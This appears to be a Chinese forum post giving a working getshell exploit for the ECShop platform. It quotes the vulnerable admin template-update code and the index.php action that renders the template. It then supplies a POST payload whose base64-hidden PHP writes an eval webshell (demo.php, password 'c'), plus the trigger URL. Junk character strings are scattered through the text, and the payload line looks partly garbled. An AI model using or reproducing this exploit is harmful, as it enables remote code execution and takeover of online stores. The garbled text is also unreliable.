首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
" C9 `+ @! z1 }& i6 E( x; s/ T Y p' z8 ?1 n& O
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了9 E I5 {% d( e" U5 D
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码& s3 ?* \- ^$ \! B
admin/template.php0 n: E! s, u7 d1 `. F3 w
8 Q- {& g1 G8 v, Q$ c# P, c1 if ($_REQUEST['act'] == 'update_library')
# u/ Y- d/ l t' J' p, ^/ o
( v2 y2 }: O6 J* U) J6 p2
6 q, ~0 }* V. `- a) I. R8 l) M* @) m
3 {
' f3 v. H s4 e, @4 B
& v% f6 U% ]# H4 check_authz_json('library_manage'); 3 T5 T$ g' b0 D& ?, p1 T8 w
+ ?: x" u2 q3 w5 b$ N
5 2 c# x4 e' [/ V- ~4 }9 q
0 f1 p9 e; K" \+ Q+ b( b% S: z3 g6 $html = stripslashes(json_str_iconv($_POST['html'])); 0 N. T) h9 _3 O3 G% g6 S
$ d" ]4 b) f& H1 x( \+ X
7
' m. ~; w9 l4 m, @% E
: N! i3 V* L& ?; M3 M8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 3 a& Y5 n% A9 [4 s- C
. M8 |5 `- w* c! M8 k
9
2 P" P# K- y2 C9 D3 j- ~, h$ y
1 c' {5 t. a- C2 ~10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 ) h- N) S: M# Y1 T# q
" u+ @ n6 V* v6 d" K3 Q% p
11
3 f* f9 r+ R- M- y+ j2 n! R, u6 p: L- e- u1 Z
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
8 J" _9 z% ^% `" @+ F9 e
: U" f' }* w4 A+ k( T8 z. j" q13 ; w$ Y L7 [3 X1 ]) I/ A
* g" ]9 E) f9 |
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
* d+ |0 F8 c( T- y }$ @) W7 u! j6 o9 P' r! l- l" ^2 R# [
15 {
" g) N# W0 M. d4 U1 V7 p% ~# \8 ^; r4 {% D9 p
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 O& C' a9 i, p( r# @
7 w- w+ H _' {, t17 make_json_result('', $_LANG['update_lib_success']); : e3 n/ N+ c- {3 J$ K6 b
: V' E9 v# b% w9 T18 }
% W; \0 z( P* g" |4 ^
* t; Z3 x: E* ^& P( z4 v1 j19 else w, L: B ^, |* B; \6 `
8 D# r1 Y, u7 G* r4 T/ @& F; |20 {
" _5 ] s; c5 @& ?! s
) O7 g( K* l& j; c, A, n21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
; F. |3 ~- ?* C- Z1 N" j ~+ d x7 k( }3 X o7 F
22 }
1 I* {# \/ {7 v: d
# k4 f/ |- s* ]& f23 } 7 X0 ]7 X( M- w X5 v# [7 M
9 }5 S( Y1 ~$ G. T* J! j那么找个比较方便调用了模板的文件
5 N* ^( |, p! Z: R% findex.php- P/ J+ D) {: [3 @. ]9 M
3 c7 F" ^8 `) q5 `1 if ($act == 'cat_rec') {: ~) D1 t8 O6 h
( v& {' Z# ^& r B
2
' E8 [* o, `1 b, C/ L! F( K* v8 m* x$ Y6 K( R3 Q
3 {
* R1 R$ Z; e! x4 H. u& F3 u' Q
! @, Q8 j! k1 D, c7 c! y; l4
" ?5 K7 {: c- d' A. m. B P# T8 r# N# q. {' P
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
2 \8 J% \3 d) z& L$ c( k# _/ v6 L1 u/ z9 K2 S' h2 Y# I2 c3 h. E0 P
6 : `" p- s& q0 L4 q2 v) U
; s: A5 U1 P( i& Y {/ ^/ M' ?! K7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
/ {: O% A: @# w `7 V# Y+ t" p2 ]& Q9 _' u8 J' J) I
8 ) W' |: e9 V, A$ Y% i1 o
8 F$ A f5 \, s6 z: x* r9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
8 c( N6 g1 @* g: ?( K8 x. H
0 i% m9 Y, y0 s! ?10 ! X9 e' [/ C! z4 Z) o
1 ^) v7 w, a! Y% T) d) Z11 include_once('includes/cls_json.php');
, ]7 O: A2 `7 F% j. Z1 @
0 y9 R, B5 W0 K C4 ?12
% S k$ E* z" u' o" @+ M2 ]! f5 ?- F
13 $json = new JSON; * z2 W! @3 K3 r7 E
& Z. i; }" S, g/ m14
$ @- P) K3 F6 I
) w7 M; {1 }" R8 k; H' }6 u( x; f15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); # J7 O, \1 E9 I# A( d9 E+ a
# \% u( Z% k5 W7 x( J$ J2 d7 S9 b
16
3 B. _6 a2 u C
( h/ ^) F9 x. c17 $children = get_children($cat_id);
9 |# i3 n7 Z4 F% l: L& v% R& ?2 l
18 + ^7 v; }1 d1 E* a
3 C- C9 t. i' r& ]
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 3 M. X* J) W: j/ y! S
0 r' x7 R! C, o q- u7 J m$ Z
20
& n+ r0 v. v, Y' ?$ o, E* j' K! t. `; e' Z
21 $smarty->assign('cat_rec_sign', 1);
" K) m: f! L8 t. d; l5 S" P4 Z' y1 e. B8 K
22
6 j# K1 E9 g ]6 x4 e9 h9 g% a6 |6 q' O
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
7 G! C% X6 i1 Y( y, q6 q ?6 C3 _& q7 C3 G
24
, a. t; d; }" k. b3 c
* u4 p% }& Z/ M; T) G! h1 ]- \# U25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
, y1 w& t: M, H! L+ l. K3 s9 b5 U0 B) H
26
. I% N* ^) |) H8 O a/ D
) x( h6 S7 M# s2 r* l: z27 echo $rec_array[$rec_type];
6 y+ e! B6 H$ W' p: m6 f }! m5 Y, q" [# X! s Y& _8 i2 V& M
28 4 t+ d X: w C5 Y
6 V$ x+ [8 @5 Y. b29 die($json->encode($result)); 0 W: f+ Z! h: O7 Y, D0 L9 y5 S8 ~
) a* o8 Z- P) v' B s30
2 P/ W* Y; \1 ~7 e# g
1 v5 K+ n: u1 G |! \* z31 } 2 [) G3 y1 T4 N; b
$ y/ C; o) f2 `* L% C那么就有利用方法了 C7 m) T e$ E9 {$ p- y" ^
post包到http://localhost/ec/admin/template.php?act=update_library/ }, q% t# t9 z/ p* U# P/ F. L
Post内容:
: i7 v) ~/ Y( W' u$ N: ~
! h2 V+ h; N+ R6 W
" O4 W4 g/ M% Q; d# O# L1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} / @: i, f3 W: l: W
8 t& b- R$ q& g
然后访问http://localhost/ec/index.php?act=cat_rec
1 p0 ]5 ]. G/ o1 {; a2 U/ c+ v
- s; _; E0 v0 yshel地址:http://localhost/ec/demo.php
$ W, F! Z) h8 h1 b5 }密码c
, a5 ?' L- h* B+ H; D7 A3 A. d( M& c5 O3 u" y B- {
|